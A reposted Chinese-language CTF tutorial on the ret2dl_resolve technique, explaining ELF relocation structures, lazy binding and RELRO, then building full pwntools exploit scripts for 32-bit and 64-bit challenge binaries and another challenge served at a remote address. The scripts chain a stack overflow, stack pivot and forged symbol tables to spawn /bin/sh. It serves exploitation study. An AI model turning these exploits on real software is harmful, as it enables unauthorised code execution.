目前大部分漏洞利用常包含两个阶段：
- 首先通过信息泄露获取程序内存布局
- 第二步才进行实际的漏洞利用
然而信息泄露的方法并不总是可行的，且获取的内存信息并不可靠，于是就有了ret2dl_resolve的利用方式。这种方式巧妙的利用了ELF文件格式以及动态装载器的弱点，不需要进行信息泄露就可以直接标识关键函数并调用。
符号解析过程以及结构体定义解析原理
- 动态装载器负责将二进制文件以及依赖库加载到内存，该过程包含了对导入符号的解析。
- 也就是说，在第一次调用函数时都由
_dl_runtime_resolve函数来完成，以下是函数原型：_dl_runtime_resolve(link_map_obj, reloc_index)
- resolve函数第二个参数是
reloc_index，它可以找到文件中.rel.plt表，.rel.plt表由Elf Rel结构体组成，定义如下：
它的r_offset用于保存解析后的符号地址写入内存的位置（绝对地址），r_info的高位3字节用于标识该符号在.dynsym中的下标。
它在程序中的内容如下：
Elf Rel结构体中的r_info成员指向.dynsym段中的Elf Sym结构体。结构体定义如下：
Elf Sym结构体中前两个成员为重要成员，st_value是当符号被导出时用于存放虚拟地址，不导出则为NULL。st_name是相对于.dynstr段的偏移，.dynstr保存符号名称字符串， 内容如下：
总结起来就是：
当程序导入函数时，动态链接器在.dynstr段中添加一个函数名称字符串
在.dynsym段中添加一个指向函数名称字符串的Elf Sym结构体
在.rel.plt段中添加一个指向Elf Sym的Elf Rel结构体
最后Elf Rel的r_offse构成GOT表，保存在.got.plt段中
Lazy Binding
- Lazy Binding机制（延迟绑定）即只有函数被调用时，才会对函数地址进行解析，然后将真实地址写入GOT表中。第二次调用函数时便不再进行加载
- 该过程是通过PLT表进行的。每个函数都在PLT表中有一个条目（PLT[0]），第一条指令无条件跳转到对应的GOT条目保存的地址。在程序中类似于下面这样：
- 然后GOT条目在初始化时默认指向PLT条目的第二条指令位置（PLT[1]），相当于又跳回来了。执行下面两条指令：
-
push xxx ：先将导入函数的标识（Elf Rel在.rel.plt的偏移）压栈 - 然后跳转到GOT[2]保存的地址处，也就是
_dl_runtime_resolve()函数
- 在程序中类似于下面这样，并且可以验证0x804A008，也就是GOT[2]是存储的
dl_runtime_resolve()函数：
_dl_runtime_resolve函数中第一个参数link_map_obj，用于获取解析导入函数所需的信息，第二个参数reloc_index则标识了解析哪一个导入函数（当前函数setbuf的reloc_index是0，所以是0）：
下面看看另一个函数strlen，reloc_index为0x10，所以为0x10：
- 在
_dl_runtime_resovle函数中，_dl_fixup()函数用于解析导入函数的真实地址，并改写GOT：
漏洞利用总结起来就是：
首先无条件跳转到GOT表条目，jmp xxx 然后把reloc_index压栈，再次跳转到GOT条目**
然后把link_map_obj压栈，参数压栈完成后，执行_dl_runtime_resolve函数_dl_runtime_resolve中的_dl_fixup完成解析并将真实地址写入GOT表
程序保护机制RELRO（Relocation Read-Only，重定位只读）是用于缓解由动态解析缺陷而产生的。一般分为三种情况：
gcc -o test test.c // 默认情况下, 是Partial RELRO
gcc -z norelro -o test test.c // 关闭, 即No RELRO。
gcc -z lazy -o test test.c // 部分开启, 即Partial RELRO
gcc -z now -o test test.c // 全部开启, 即
- No RELRO
完全关闭。.dynamic段可写，动态装载器是以.dynamic段的DT_STRTAB条目来获取.dynstr段的地址，而DT_STRTAB地址是已知的，且默认情况下可写，所以可以改写DT_STRTAB，欺骗动态装载器，使其找到伪造的.dynstr段，将我们控制的地址内的字符串解析为函数名称，然后去解析函数地址。比如修改DT_STRTAB的.dynstr条目内容为bss段，在bss段中写入execve字符串，假如现在正要解析printf函数，那么就会解析成execve函数的地址。
- Partial RELRO
开启部分保护，.dynamic段不可写。之前介绍_dl_runtime_resolve时提到，第二个参数reloc_index对应Elf Rel在.rel.plt中的偏移，动态装载器将reloc_index加上.rel.plt的基址来得到目标Elf Rel的内存地址。
当我们控制reloc_index的值，使它相加后刚好落在bss段上，就可以在bss段上构造一个Elf Rel结构体，使Elf Rel的第一个成员r_offset的值是一个可写的地址，用来保存解析后的函数地址。然后使r_info的值导向到可控制的内存下标，指向Elf Sym，Elf Sym中的st_name 再指向函数名称字符串，那么就可以解析成我们想要的函数地址。
- FULL RELRO
保护完全开启，开启后立即绑定函数地址，添加 PT_GNU_RELRO 段，.got只读不可写，.got.plt 节取消，PLT 直接调用.got节地址。Bypass可参考网上资料。
- 程序源码
#include <string.h> #include<stdio.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }; - 编译为动态链接32位可执行文件，开启Partial RELRO 和NX保护：
gcc -m32 -fno-stack-protector -no-pie pwn200.c -o pwn200
- 可以从源码得知有栈溢出漏洞，可以通过泄露libc地址的方式获取flag，但在这里使用ret2dl-resolve的方式。
- 程序开启了Partial RELRO 保护，那么就按照上面介绍的第二种保护情况来做。
- 首先利用栈溢出控制执行流，调用
read函数将下一阶段的payload读取到bss段上：
payload1 = b'a' * (0x6c + 4) # 填充长度
payload1 += p32(read_plt) # read(0, bss_addr, 100)
payload1 += p32(pppr) # 清栈
payload1 += p32(0) + p32(bss_addr) + p32(100)
payload1 += p32(pop_ebp_addr) # 构造一个假的ebp
payload1 += p32(bss_addr)
payload1 += p32(leave_ret_addr) # 栈迁移到bss段中
- 这里一步一步模拟
write函数的解析过程，最终实现system("/bin/sh") 。在bss段构造payload，并且打印出我们填入的字符串，以便验证:
payload2 = b'aaaa' # ebp
payload2 += p32(write_plt) # write(1, bss_addr+80, 7)
payload2 += b'aaaa'
payload2 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload2 += b'a' * (80 - len(payload2)) # 填充长度为80，以免字符串被后续payload破坏
payload2 += b'/bin/sh\x00' # bss_addr+80 内容为字符串 “/bin/sh\x00”
payload2 += b'a' * (100 - len(payload2))
- 接下来模拟
write@plt的执行效果。在bss段构造payload，将_dl_runtime_resolve函数的参数压栈，也就是reloc_index ，再跳转到PLT[0]，就是第一个无条件跳转指令 jmp xxx：
reloc_index = 0x20
payload3 = b'aaaa'
payload3 += p32(plt_0) # write 函数的jmp xxx地址
payload3 += p32(reloc_index) # push 0x20
payload3 += b'aaaa'
payload3 += p32(1) + p32(bss + 80) + p32(len('/bin/sh'))
payload3 += b'a' * (80 - len(payload3))
payload3 += b'/bin/sh\x00'
payload3 += b'a' * (100 - len(payload3))
- 然后在bss段中构造一个
Elf Rel结构，r_offset 设置成write@got 的地址，表示解析后的真实地址填入这里。r_info直接照搬，设置成0x607，动态加载器会通过这个值找到对应的Elf Sym。那么现在reloc_index就不再是0x20了，应该调整为Elf Rel基地址距离bss段上的偏移：
r_info成员的值是0x607，直接照搬到payload中
reloc_index = bss_addr - rel_plt + 28 # 这里需要加上28的偏移，具体可以调试得知
r_info = 0x607 # .rel.plt 的 r_info 成员
fake_reloc = p32(write_got) + p32(r_info) # 模拟JMPREL Rel表
payload4 = b'aaaa'
payload4 += p32(plt_0) # plt[0]
payload4 += p32(reloc_index) # push
payload4 += b'aaaa'
payload4 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函数的参数，会打印出“/bin/sh”
payload4 += fake_reloc
payload4 += b'a' * (80 - len(payload4)) # 填充长度
payload4 += b'/bin/sh\x00'
payload4 += b'a' * (100 - len(payload4))
- 在bss段中伪造
Elf Sym。首先使用readelf命令，查找到write函数在.dynsym段的下标，得知下标为6，然后使用objdump找到下标为6的那一行，数据直接照搬就可以了：
那么之前构造的fake_reloc也要调整，r_info可以通过r_sym和r_type计算得出。r_sym也就是Elf Sym相对于.dynsym段的下标偏移，r_type则照搬R_386_JUMP_SLOT的值 0x7
reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10 # 需要补上40字节的偏移，具体可以调试
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff) # write函数这里的结果就是0x607
fake_reloc = p32(write_got) + p32(r_info)
fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12) # 上面objdump的结果照搬
payload5 = b'aaaa'
payload5 += p32(plt_0)
payload5 += p32(reloc_index)
payload5 += b'aaaa'
payload5 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload5 += fake_reloc
payload5 += b'aaaa'
payload5 += fake_sym
payload5 += b'a' * (80 - len(payload5))
payload5 += b'/bin/sh\x00'
payload5 += b'a' * (100 - len(payload5))
- 最后，在bss段上伪造
.dynstr，也就是放上"write"字符串，相应的调整fake_sym的st_name指向伪造的函数名称字符串。st_info 字段的内容被分为高 28 位的 st_bind 符号绑定信息，以及低 4 位的 st_type 符号类型信息，然后可以通过st_blind和st_type来计算st_info ：
reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff) # 0x607
fake_reloc = p32(write_got) + p32(r_info) # Elf Rel
st_name = bss_addr + 56 - dynstr # 指向写入的"write"字符串
st_bind = 0x1 # st_info高28位
st_type = 0x2 # st_info低4位
st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload6 = b'aaaa'
payload6 += p32(plt_0)
payload6 += p32(reloc_index) # fake reloc_index,偏移到了bss段
payload6 += b'aaaa'
payload6 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函数参数
payload6 += fake_reloc # fake Elf Rel
payload6 += b'aaaa'
payload6 += fake_sym # fake Elf Sym
payload6 += b'write\x00' # st_name
payload6 += b'a' * (80 - len(payload6))
payload6 += b'/bin/sh\x00'
payload6 += b'a' * (100 - len(payload6))
最后，只要将字符串“write”改成“system”，调整一下参数即可获得shell。
- 完整exp
from pwn import *
# context.log_level = 'debug'
elf = ELF('./pwn200')
# io = remote('127.0.0.1', 10001)
io = process('./pwn200')
io.recv()
pppr_addr = 0x08048619 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr = 0x0804861b # pop ebp ; ret
leave_ret_addr = 0x08048458 #: leave ; ret
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
base_addr = bss_addr + 0x600
payload_1 = b"A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align # 对齐
# fake Elf Rel
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)
# fake Elf Sym
st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_7 = b"AAAA"
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index)
payload_7 += b"AAAA"
payload_7 += p32(base_addr + 80)
payload_7 += b"AAAA"
payload_7 += b"AAAA"
payload_7 += fake_reloc
payload_7 += b"A" * align
payload_7 += fake_sym
payload_7 += b"system\x00"
payload_7 += b"A" * (80 - len(payload_7))
payload_7 += b"/bin/sh\x00"
payload_7 += b"A" * (100 - len(payload_7))
io.sendline(payload_7)
io.interactive()
- 如果觉得手工构造太麻烦，有一个工具 roputils 可以简化此过程，或者可以使用pwntools中自带的 模块来完成，下面是pwntools构造32位程序exp的例子：
from pwn import *
context.binary = elf = ELF("./pwn200")
context.arch='i386'
context.log_level ='debug'
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn200")
io.recvuntil("\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()
检查保护
- 64 位程序一般情况下使用寄存器传参，但给
_dl_runtime_resolve 传参时使用栈 -
_dl_runtime_resolve 函数的第二个参数 reloc_index 由偏移变为了索引
64位在这种情况下，如果像32位一样依次伪造reloc_index、symtab、strtab会出错，原因是在_dl_fixup函数执行过程中，访问到了一段未映射的地址处，接下来我们结合 _dl_fixup 完整源码进行分析，源码位于 glibc-2.23/elf/dl-runtime.c ， 在关键位置给出了注释，其他位置可忽略：
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
// 第一个参数link_map，也就是got[1]
{
// 获取link_map中存放DT_SYMTAB的地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取link_map中存放DT_STRTAB的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据重定位结构体的r_info得到symtab表中对应的结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
// 检查r_info的最低位是不是7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 这里是一层检测，检查sym结构体中的st_other是否为0，正常情况下为0，执行下面代码
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
// 这里也是一层检测，检查link_map中的DT_VERSYM是否为NULL，正常情况下不为NULL，执行下面代码
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
/* 到了这里就是64位下报错的位置，在计算版本号时，vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中，
由于我们一般伪造的symtab位于bss段，就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误，
自然想到的办法就是不执行这里的代码，分析上面的代码我们就可以得到两种手段：
第一种手段就是使上一行的if不成立，也就是设置link_map中的DT_VERSYM为NULL，那我们就要泄露出link_map的地址，而如果我们能泄露地址，根本用不着ret2dlresolve。
第二种手段就是使最外层的if不成立，也就是使sym结构体中的st_other不为0，直接跳到后面的else语句执行。*/
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
// 在32位情况下，上面代码运行中不会出错，就会走到这里，这里通过strtab+sym->st_name找到符号表字符串，result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
RTLD_FINALIZE_FOREIGN_CALL;
// 同样，如果正常执行，接下来会来到这里，得到value的值，为libc基址加上要解析函数的偏移地址，也即实际地址，即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 这里就是64位下利用的关键，在最上面的if不成立后，就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使**value为我们所需要的函数的地址，所以就得控制两个参数，l_addr 和 st_value
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
所以接下来我们的任务就是控制 link_map 中的l_addr和 sym中的st_value 。
具体思路为：
- 伪造
link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值，如 addr_system - addr_xxx - 伪造
sym->st_value 为已经解析过的某个函数的 got 表的位置
下面是64位下的sym结构体：
所以sym结构体的大小为24字节，st_value就位于首地址+0x8的位置（ 4 + 1 + 1 + 2）。
如果，我们把一个函数的got表地址-0x8的位置当作sym表首地址，那么它的st_value的值就是这个函数的got表上的值，也就是实际地址，此时它的st_other恰好不为0
再来看link_map的结构
struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
}
这里的.dynamic节就对应Elf64_Dyn * l_info的内容
所以如果我们伪造一个link_map表，很容易就可以控制 l_addr ，通过阅读源码，我们知道_dl_fixup主要用了 l_info 的内容 ，也就是上图中JMPREL,STRTAB,SYMTAB的地址。
所以我们需要伪造这个数组里的几个指针
-
DT_STRTAB指针：位于link_map_addr +0x68(32位下是0x34) -
DT_SYMTAB指针：位于link_map_addr + 0x70(32位下是0x38) -
DT_JMPREL指针：位于link_map_addr +0xF8(32位下是0x7C)
然后伪造三个elf64_dyn即可，dynstr只需要指向一个可读的地方，因为这里我们没有用到
- 64位下重定位表项与32位有所不同，多了
r_addend成员，三个成员各占8字节，总大小为24字节：
- 在这里可以看到，
write 函数在符号表中的偏移为 2（也就是r_info的值：0x200000007h>>32）
- 除此之外，在 64 位下，plt 中的代码
push 的是待解析符号在重定位表中的索引，而不是偏移。比如，write 函数对应上图中第一个，下标为0，那么就push 0：
- 看看另一个，
read函数对应的下标为1，那么就push 1：
可以发现针对软件重定位的攻击其实都是围绕函数
_dl_fix_up 的两个参数 link_map和 reloc_arg 展开的，再加上相关数据结构的伪造完成攻击。确实感觉这种攻击是格式化的，虽然过程看上去很复杂，但是实际上都有固定的“套路”，只需按照步骤一步一步操作，大多数情况下就可以完成整个攻击。
- 下面是完整的脚本
from pwn import *
context.update(os = 'linux', arch = 'amd64')
p = process('./level3_x64')
universal_gadget1 = 0x4006aa
universal_gadget2 = 0x400690
main_got = 0x600a68
pop_rdi_ret = 0x4006b3
jmp_dl_fixup = 0x4004a6
pop_rbp_ret = 0x400550
leave_ret = 0x400618
read_got = 0x600a60
new_stack_addr = 0x600ad0
fake_link_map_addr = 0x600b00
payload = b""
payload += b'A'*(0x80+0x8)
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += b'A'*56
payload += p64(pop_rbp_ret)
payload += p64(new_stack_addr)
payload += p64(leave_ret)
p.send(payload)
sleep(0.5)
offset = 0x24c50 # system - __libc_start_main
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) #d_tag 从link_map中找.rel.plt不需要用到标签， 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) #d_ptr 指向伪造的Elf64_Rela结构体，由于reloc_offset也被控制为0，不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset，直接指向fake_link_map所在位置令其可读写就行
fake_Elf64_Rela += p64(7) # r_info index设置为0，最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(main_got-8) # st_value 已解析函数的got表地址-8，-8体现在汇编代码中，原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
fake_link_map_data += p64(offset) # l_addr，伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00'*0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00'*0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
payload = b""
payload += b"AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr+0x78) # /bin/sh\x00地址
payload += p64(jmp_dl_fixup) # 用jmp跳转到_dl_fixup，link_map和reloc_offset都由我们自己伪造
payload += p64(fake_link_map_addr) # 伪造的link_map地址
payload += p64(0) # 伪造的reloc_offset
payload += fake_link_map_data
p.send(payload)
p.interactive()
此题也是考验ret2dl-resolve攻击方式。exp如下：
from pwn import *
# s = process("./test")
s = remote("39.105.138.97", "1234")
elf = ELF("./test")
# 调试参数
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# bss
bss = elf.bss(0x400)
# ROPgadget
leave = 0x08049267 # leave 清栈
pppr = 0x08049581 # pop esi;pop edi;pop ebp;ret
p_ebp_r = 0x08049583 # pop ebp;ret
r = 0x0804900e # ret
read = elf.sym['read']
# 初始化表地址
plt = elf.get_section_by_name('.plt').header.sh_addr # 带linkmap然后jmp到_dl_runtime_resolve
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# 输入buf
s.send(b'\x00' * 0x30)
# 输入src
s.send(b'\x00' * 0x20)
# 输入soul
s.sendline(b'-2147483648')
# 输入egg
s.sendline(b'-1')
def send1():
payload1 = b'a' * 0x48
payload1 += p32(bss)
payload1 += p32(read)
payload1 += p32(pppr)
payload1 += p32(0)
payload1 += p32(bss)
payload1 += p32(0x200)
payload1 += p32(p_ebp_r)
payload1 += p32(bss)
payload1 += p32(leave)
payload1 = payload1.ljust(0x100, b'\x00')
s.send(payload1)
def send2():
# 伪造地址
fake_sym = bss + 0x24
fake3 = 0x10 - ((fake_sym - dynsym) & 0xf)
fake_sym += fake3
index = int((fake_sym - dynsym) / 0x10)
rrr = (index << 8) | 0x7
# 计算偏移
name = (fake_sym + 0x10) - dynstr
offset = (bss + 0x1c) - rel_plt
# 重定位
rel = p32(elf.got['read']) + p32(rrr)
binsh = bss + 0x100
payload2 = p32(0)
payload2 += p32(plt)
payload2 += p32(offset)
payload2 += p32(0)
payload2 += p32(binsh)
payload2 += p32(0)
payload2 += p32(0)
payload2 += rel
payload2 += b'a' * fake3
payload2 += p32(name)
payload2 += p32(0)
payload2 += p32(0)
payload2 += p32(18)
payload2 += b'system\x00'
payload2 = payload2.ljust(256, b'\x00')
payload2 += b'/bin/sh'
s.send(payload2)
send1()
send2()
s.interactive()
本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。
